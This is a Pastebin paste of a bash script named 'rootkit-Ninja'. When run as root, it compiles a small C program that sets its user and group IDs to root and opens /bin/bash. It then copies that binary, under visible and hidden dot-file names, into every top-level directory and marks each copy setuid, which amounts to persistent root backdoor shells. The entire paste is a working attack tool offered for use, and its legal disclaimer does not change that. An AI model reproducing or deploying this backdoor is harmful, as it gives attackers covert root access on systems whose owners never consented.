Advertisement
Guest User

Untitled

a guest
Dec 19th, 2018
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.31 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. rampung='\033[0m'
  4. abang='\033[1;31m'
  5. ijo='\033[1;32m'
  6. kuning='\033[1;33m'
  7. putih='\033[1;37m'
  8.  
  9. banner(){
  10. echo -ne "$putih
  11. ___ ___ _ _ _ _ _ _ _ _
  12. / _ \ / _ \| | | | (_) | | \ | (_) (_)
  13. _ __| | | | | | | |_| | ___| |_ ______| \| |_ _ __ _ __ _
  14. | '__| | | | | | | __| |/ / | __|______| . \` | | '_ \| |/ _\` |
  15. | | | |_| | |_| | |_| <| | |_ | |\ | | | | | | (_| |
  16. |_| \___/ \___/ \__|_|\_\_|\__| |_| \_|_|_| |_| |\__,_|
  17. _/ |
  18. |__/
  19. [+] Author : Bayu Fedra
  20. [+] Special Thanks : Reversing.ID - IndoXploit - Bashid.org - Backbox Linux Indonesia - Zerobyte.ID $kuning
  21. [!] Important : Make sure you have permisison to run this program
  22. [!] legal disclaimer : Usage of rootkit-Ninja without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
  23. $putih
  24. [+] Follow my Twitter/Instagram @bayufedraa :D
  25. \n"
  26. sleep 2
  27. }
  28.  
  29. check_root(){
  30. uid=$(id -u)
  31. gid=$(id -g)
  32. echo "[+] User ID : $uid"
  33. echo "[+] Group ID : $uid"
  34. if [[ $uid == 0 ]]
  35. then
  36. echo -ne "$ijo[+] You are Root!\n[+] Trying to plan rootkit...\n\n $rampung\n"
  37. sleep 1
  38. else
  39. echo -ne "$abang[+] Not root!\n[+] Must Run as Root! $rampung\n"
  40. exit
  41. fi
  42. }
  43.  
  44. binary_rootkit(){
  45.  
  46. cat << EOF > /tmp/humarb.c
  47. #include <stdio.h>
  48. #include <sys/types.h>
  49. #include <unistd.h>
  50.  
  51. int main(){
  52. setuid(0);
  53. setgid(0);
  54. system("/bin/bash");
  55. return 0;
  56. }
  57. EOF
  58.  
  59. gcc /tmp/humarb.c -o /tmp/humarb
  60. rm /tmp/humarb.c
  61.  
  62. }
  63.  
  64. share_binroot(){
  65. root_dir=$(ls /)
  66. mkdir /.,
  67.  
  68. for i in $root_dir
  69. do
  70. if [[ -d /$i ]]
  71. then
  72. if [[ $i == tmp ]]
  73. then
  74. echo -ne "$ijo[+] Share rootkit in Directory : $i $rampung\n"
  75. cp /tmp/humarb /$i/.humarb
  76. chmod +s /$i/humarb
  77. chmod +s /$i/.humarb
  78. else
  79. echo -ne "$ijo[+] Share rootkit in Directory : $i $rampung\n"
  80. cp /tmp/humarb /$i/humarb
  81. cp /tmp/humarb /$i/.humarb
  82. chmod +s /$i/humarb
  83. chmod +s /$i/.humarb
  84. fi
  85. fi
  86. done
  87. }
  88.  
  89. banner
  90. check_root
  91. binary_rootkit
  92. share_binroot
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement